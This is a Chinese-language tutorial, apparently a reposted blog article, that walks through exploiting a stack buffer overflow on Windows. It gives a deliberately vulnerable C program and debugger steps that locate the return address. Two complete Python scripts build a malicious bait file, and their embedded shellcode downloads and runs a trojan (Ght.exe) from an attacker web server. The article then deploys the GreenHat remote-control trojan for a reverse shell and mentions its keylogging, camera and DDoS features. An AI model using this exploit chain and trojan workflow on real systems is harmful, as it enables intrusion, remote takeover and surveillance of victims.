赞
踩
Buffer OverFlow
,是一种非常危险的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出进行的攻击,小则导致程序运行失败、系统宕机等后果,大则可以取得系统特权,甚至是运行特定代码,正是因为其隐秘不易发现的性质,广泛受到 APT 组织的青睐。随着缓冲区溢出的出现,各大系统和软件厂商都积极的采取了相应的防范措施,建立了一系列的应急响应中心,比如微软、腾讯、Adobe、谷歌、360等,导致现在挖掘缓冲区溢出漏洞变得越来越难,在如今一个能够做到完美利用的缓冲区溢出漏洞通常价值不菲DEP
防御的 ROP
返回导向编程,或者在内核级别提权;对了,还记得袁哥的上帝之手吗,通过仅仅几十行的代码就可以突破浏览器的所有保护,可谓是开启了天人模式APT
组织利用的这些漏洞可不仅仅是弹出一个对话框,搞搞恶作剧那么简单,APT
是什么意思?全球高级持续性威胁,要做到持续性威胁需要什么?答案是木马。木马是一个让所有受害者不寒而栗的一个词,一个外行人可能没有听说过缓冲区溢出攻击,但是绝对不会没有听说过木马,木马是漏洞利用后期阶段的一个非常重要的工具之一,是稳固战利品的一个必要武器。木马是什么,其实木马就是一个计算机远程控制软件(俗称远控),但不仅仅是远控这么简单,因为这些软件需要和杀毒软件做对抗,因此需要很高超的技术来隐藏自己,也就是免杀技术,比如编码、加壳、隐藏进程、防删除等等,更有一些恶毒的系统内核病毒,通过驻守在 MBR
和 Ring0
层来防止被杀毒软件清除,即使重装系统也无济于事,比如暗云系列和双枪系列#include <stdio.h> #include <Windows.h> #include <iostream> #include <stdlib.h> using namespace std; struct File { FILE* file; size_t fileread; DWORD filesize; }; struct FileType { DWORD header; size_t headeroffset; DWORD type; size_t typeoffset; DWORD code; size_t codeoffset; }; struct FileStream { size_t formatoffset; DWORD RetainWord1; DWORD RetainWord2; }; long int ReadTestfile(); long int ErrorCode = NULL; int main() { if (ReadTestfile() == 0) { cout << "[*] 程序结束" << endl; } else { cout << "[-] 程序异常" << endl; } return 0; } long int ReadTestfile() { // 创建含有漏洞的缓冲区 char str[20]; memset(str, 0, sizeof(str)); // 打开文件 File file = { 0 }; file.file = fopen("D:\\stackoverflow.pls", "r+"); if (file.file == NULL) { ErrorCode = 1; return ErrorCode; } cout << "[+] 开始打开文件" << endl; fseek(file.file, 0L, SEEK_END); // 读取文件大小 file.filesize = ftell(file.file); cout << "[*] 文件大小为: " << file.filesize << endl; fseek(file.file, 0L, SEEK_SET); // 读取文件内容 char* Buffer = (char *)malloc(file.filesize); file.fileread = fread(Buffer, file.filesize, 1, file.file); cout << "[*] 文件内容: " << Buffer << endl; // 模拟文件内容进行操作 FileType filetype = { 0 }; filetype.headeroffset = 4; filetype.typeoffset = 8; filetype.codeoffset = 12; strncpy((char *)&filetype.header, Buffer + filetype.headeroffset, 4); strncpy((char *)&filetype.type, Buffer + filetype.typeoffset, 4); strncpy((char *)&filetype.code, Buffer + filetype.codeoffset, 4); // 将文件偏移 16 的数据拷贝到大小为 20 的缓冲区 str strcpy(str, Buffer + 16); // 模拟对文件数据进行操作 cout << "filetype.header: " << filetype.header << endl; cout << "filetype.type: " << filetype.type << endl; cout << "filetype.code: " << filetype.code << endl; FileStream filestream; filestream.formatoffset = 0; filestream.RetainWord1 = 4; filestream.RetainWord2 = 8; DWORD format = NULL; strncpy((char *)&format, str + filestream.formatoffset, 4); cout << "[*] FileFormat: " << endl; // 释放清理操作 free(Buffer); fclose(file.file); return 0; }
stackoverflow.pls
的文件,并且文件的内容赋值到相应的变量之中,在赋值 str
时,由于 str
缓冲区的大小只有 20
,如果 strcpy
复制的数据大于 20
的话,就会引发缓冲区溢出stackoverflow.pls
文件,之后使用 C32Asm (16进制分析文件工具,提取码:4sj8)打开文件,如图所示在文件编译 0x14
的地方填充了许多字符 'A'
,使之成为具有 POC
功能的文件0x004011c1
,使用 bu 0x004011c1
下断点之后重新运行t
命令跟进函数,按 p
继续向下调试image00400000+0x1330 (00401330)
之后触发异常,同样的方法,对 0x001237
地址下断点之后重新运行0x001237
,之后继续跟进这个函数0x00401667
的地方返回后触发异常,由此确定地址为 0x001237
的函数是触发异常的父函数,为了方便将它命名为 overflowfun
函数overflowfun
函数开头的地方查看 Esp
的值,就可以确定该函数的返回地址,同时也可以确定覆盖的字符串位于返回地址的位置;如图所示:0x0245ff14
地址的位置储存着 overflowfun
函数的返回地址,触发异常后返回地址变为 0x41414141
,并且在 0x0245ff1c
之后 'A'
字符就截止了0x20
POC
样本中的位置,下面就可以使用 python
进行 Exploit
的开发(由于篇幅的限制,所以不打算将 ASLR
和 DEP
的绕过写进来)Exploit
,这里有一个很形象的比喻:Exploit
完成攻击的一个完整步骤,极具模块化思想,一个完整的 Exploit
包含返回地址、跳转地址(上面分析的)和 shellcode
,shellcode
是攻击当中的一个灵魂所在,正是利用它来执行恶意代码并下载木马。shellcode
开发流程:shellcode
需要手动编写,十分的麻烦,现在有许多工具可以简化这一步骤,下面就利用 ShellcodeCompiler (提取码:y00j)来进行开发。首先确定 shellcode
的功能:(1) 使用 URLDownloadToFileA
函数从公网服务器下载木马程序 (2) 使用 WinExec
执行木马程序 (3) 使用 ExitProcess
安全退出程序(防止被受害者察觉到)注:关于服务器的搭建会在后面介绍
Source.txt
文件中,之后使用 ShellcodeCompiler
生成 shellcode
:.bin
文件和 .asm
文件,.bin
文件是二进制格式文件,而 .asm
是对照的汇编文件.bin
文件,这个就是最终生成的 shellcode
,并且这个 shellcode
不含 NULL
终止符,而且函数 API
的调用是根据 PEB
(进程环境块)进行动态调用,相比于手工编写确实方便了很多shellcode
文件是以二进制方式打开的,不利于后面利用 python
构建,所以这里笔者写了一个 python
小脚本 BinaryConversion
来完成这个转换from os import path; import os; CDirectory = path.dirname(__file__); os.chdir(CDirectory); string = ""; result = ""; m = 1; try: with open("InputFile.txt", "r") as f: print("[*] Read File: InputFile.txt:") string = f.read() except Exception as e: print("[-] File does not exist") exit(0) if(len(string) == 0) or (len(string) > 10000): print("[-] The file is empty!") exit(0) print(string) print("") for i in string: result = result + i if(m % 2 == 0): result = result + "\\x" m = m + 1 result = result[0:-2] result = "b\'\\x" + result + "\';" with open("OutFile.txt", "w") as f: print("[*] Write File: OutFile.txt:") f.write(result) print(result) print("")
InputFile.txt
准换过后输出至 OutFile.txt
文件:首先将二进制文件中的内容以 Hex
格式化的形式拷贝进 InputFile
BinaryConversion
脚本即可完成转换,打开查看OutFile
的内容:Exploit
需要哪些参数:(1) 溢出点数据距离文件偏移:0x14
(2) 缓冲区大小 0x20
(3) 返回地址:0245FF14
(4) 一些 NOP
指令 (5) 刚刚制作的 shellcode
二进制代码,接下来使用 python
脚本将他们组合起来就可以大功告成了:# shellcode 16进制编码 shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\ \x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\ \xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\ \x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\ \xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\ \x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\ \x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\ \x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\ \x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\ \x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\ \x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\ \x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\ \x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\ \xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\ \x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\ \x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\ \x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\ \x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\ \xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\ \x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\ \xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\ \x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\ \x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04'; # 缓冲区偏移 0x14 字节 vulnerabilityOffset = b''; for x in range(0x14): vulnerabilityOffset += b'\x11'; # 缓冲区大小 0x20 字节 bufferSize = b''; for x in range(0x20): bufferSize += b'\x41'; # 返回地址 0x4 字节 returnAddress = b''; for x in range(0x4): returnAddress = b'\x14\xfb\x45\x02'; # 汇编 nop 指令 0x8 字节 nop = b''; for x in range(0x8): nop += b'\x90'; # 将上面模块组合成 exploit exploit = b''; exploit += vulnerabilityOffset exploit += bufferSize exploit += returnAddress exploit += nop exploit += shellcode # 打印 exploit print(exploit) # 生成 stackoverflow.pls 攻击文件 with open("stackoverflow.pls", "wb") as f: f.write(exploit);
注:以上的
shellcode
出于时间原因并没有经过编码加密操作,异或编码加密是流行的编码方式之一;Exploit
在编写完成之后还需要经过多次测试才能真正的投入使用
exploit
的编写后就可以发动攻击了吗?并没有,还记得上面讲到 APT
的时候说到持续性攻击吗,所以说还差一个木马(Payload
)就大功告成了,木马的选取是十分麻烦的,因为编写这些木马的人大多数是黑客,编程水平层次不齐。一个烂木马 bug
多如牛毛,根本不能使用,而好的木马,不仅运行流畅,而且功能齐全。经过笔者的一番挑选之后,决定使用一款国外的木马 GreenHat
,该木马十分小巧,性能强悍注:木马虽然可以为入侵提供便捷,但木马很多时候却是一把双刃剑,因为编写和传播木马的人很多都是黑客(这里传播的意思是传播木马工具),有太多的人不怀好意的向木马软件中植入后门再赠与他人使用,使得使用木马的人反而会成为受害者,所以切记注意需要在虚拟机中使用。在网络世界(行内)除了你自己以外不要相信任何人
Builder
生成木马,IP
地址为本机 IP
,其他配置为默认,点击 Build
就会在目录下生成木马文件PC
上运行这个程序即可,由于是虚拟机,所以点击一下测测效果IP
地址为香港区域shell
并且输入 net user
命令进行测试。其实除了反弹 shell
,GreenHat
能做的事还有很多,比如监控键盘输入、监控受害者屏幕、开启摄像头、进行简单的文件传输,甚至可以进行分布式 DDOS
攻击…PC
的信息,模拟进行测试,加大攻击成功率。攻击网络示意图:注:IP 为 192.168.177.1 的攻击机使用
phpstudy
开启了www
服务,木马就放置于www
目录下以便受害者 PC 下载
Windows 7
的机器上调试之后,修改了返回地址,以适应 Windows 7
系统,最终的 python
脚本如下所示:# shellcode 16 进制编码 shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\ \x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\ \xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\ \x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\ \xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\ \x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\ \x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\ \x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\ \x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\ \x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\ \x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\ \x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\ \x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\ \xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\ \x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\ \x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\ \x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\ \x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\ \xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\ \x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\ \xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\ \x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\ \x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04'; # 缓冲区偏移 0x14 字节 vulnerabilityOffset = b''; for x in range(0x14): vulnerabilityOffset += b'\x11'; # 缓冲区大小 0x20 字节 bufferSize = b''; for x in range(0x20): bufferSize += b'\x41'; # 返回地址 0x4 字节 returnAddress = b''; for x in range(0x4): returnAddress = b'\x30\xfb\x45\x02'; # 汇编 nop 指令 0x8 字节 nop = b''; for x in range(0x8): nop += b'\x90'; # 将上面模块组合成 exploit exploit = b''; exploit += vulnerabilityOffset exploit += bufferSize exploit += returnAddress exploit += nop exploit += shellcode # 打印 exploit print(exploit) # 生成 stackoverflow.pls 攻击文件 with open("stackoverflow.pls", "wb") as f: f.write(exploit);
python
脚本生成诱饵文件C
盘目录下,运行漏洞程序,以此模拟受害者打开漏洞文档并且触发漏洞Ght.exe
木马文件shell
,查询其 IP
地址,完成此次攻击shellcode
加密、漏洞挖掘、病毒免杀操作、系统内核提权、传输协议加密、攻击伪装等等。袁哥说过安全界有三个时代:病毒时代、漏洞时代、对抗时代,而现在正处于对抗时代,再也不是人与计算机之间的对抗,而是人与人之间的博弈,以前一个人能完成的操作,现在需要一伙人,甚至是一群人合作才能完成;攻击的一方掌握了新的攻击方法,防御的一方就会立即制定出相应的措施,没有谁永远的处于优势,也没有谁长久的处于劣势本次缓冲区栈溢出漏洞的完整利用介绍到此结束,如有错误,欢迎指正
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。